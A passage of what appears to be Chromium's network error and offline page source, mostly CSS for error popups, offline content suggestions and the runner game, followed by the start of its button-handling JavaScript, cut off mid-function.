      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
